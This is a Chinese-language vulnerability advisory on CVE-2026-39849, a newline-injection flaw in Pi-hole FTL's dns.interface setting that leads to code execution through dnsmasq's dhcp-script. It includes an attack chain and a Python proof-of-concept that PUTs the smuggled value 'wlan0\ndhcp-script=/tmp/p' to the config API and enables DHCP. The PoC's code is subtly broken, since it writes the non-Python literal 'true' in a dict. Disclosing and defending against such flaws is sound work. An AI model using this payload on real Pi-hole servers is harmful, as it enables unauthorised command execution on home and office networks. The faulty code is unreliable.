IPBUF安全漏洞报告
English
CVE-2026-39849 CVSS 8.8 高危

CVE-2026-39849 Pi-hole FTL命令注入漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-39849
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole FTL

相关标签

RCE命令注入Pi-hole配置注入DHCPCVE-2026-39849

漏洞概述

Pi-hole FTL在6.6.1版本之前存在安全漏洞,其`dns.interface`配置字段未验证换行符,允许攻击者向dnsmasq配置注入恶意指令。在默认无密码环境下,攻击者可通过网络邻近访问修改配置,启用DHCP服务器并注入脚本。当网络设备请求DHCP租约时,将触发任意命令执行。该配置持久化存储于`/etc/pihole/pihole.toml`,重启后仍有效。

技术细节

该漏洞的核心成因在于Pi-hole FTL在处理`dns.interface`配置项时,未能有效过滤换行符等特殊字符。攻击者可以利用这一缺陷,通过在接口名称中插入换行符,将恶意的dnsmasq配置指令(如`dhcp-script`)注入到生成的配置文件中。尽管代码中使用`strncpy`将接口字段长度限制在31字节以内,但通过构造如`wlan0
dhcp-script=/tmp/p`这样的精简载荷,依然可以在长度限制内完成注入。由于FTL 6.6版本引入的配置验证机制仅检查语法有效性,无法识别通过换行符拼接的恶意指令,因此攻击载荷可以顺利通过验证。攻击者利用默认无密码的配置API接口,发送恶意数据修改系统配置并启用DHCP服务器。一旦有网络设备发起DHCP租约请求,dnsmasq进程便会执行攻击者预设的脚本,从而在服务器端实现任意命令执行。

攻击链分析

STEP 1
侦察
攻击者扫描网络,发现未设置管理员密码(默认配置)的Pi-hole FTL实例。
STEP 2
漏洞利用
攻击者向配置API发送特制的PUT请求,在`dns.interface`字段注入换行符和`dhcp-script`指令,并强制启用DHCP服务。
STEP 3
持久化
恶意配置被写入`/etc/pihole/pihole.toml`文件,即使服务重启也会保留。
STEP 4
触发执行
当网络中的任何设备向Pi-hole请求DHCP租约时,dnsmasq服务读取被篡改的配置并执行攻击者指定的脚本(如/tmp/p),导致RCE。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target Pi-hole FTL API URL # Note: Default installation often exposes this on port 80 or 443 TARGET_URL = "http://<target-ip>/api/config" # Malicious payload exploiting the newline injection in dns.interface # The payload fits within the 31 byte limit (strncpy constraint) # 'wlan0' + newline + 'dhcp-script=/tmp/p' PAYLOAD = "wlan0\ndhcp-script=/tmp/p" # Headers for the API request headers = { "Content-Type": "application/json" } # The configuration data to be sent # This injects the payload and enables DHCP to trigger the script data = { "config": { "dns": { "interface": PAYLOAD }, "dhcp": { "active": true } } } try: # Send the malicious configuration request # Exploits the lack of authentication on default installs response = requests.put(TARGET_URL, headers=headers, data=json.dumps(data), timeout=5) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] DHCP script set to: /tmp/p") print("[+] Waiting for a DHCP lease request to trigger the execution...") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Pi-hole FTL < 6.6.1

防御指南

临时缓解措施
建议立即为Pi-hole管理界面设置强密码,防止未授权访问配置API。若无法立即升级,请确保防火墙规则限制对Pi-hole API端口的访问,仅允许可信IP地址连接,并定期检查`/etc/pihole/pihole.toml`配置文件中是否存在异常的换行符或可疑的脚本指令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表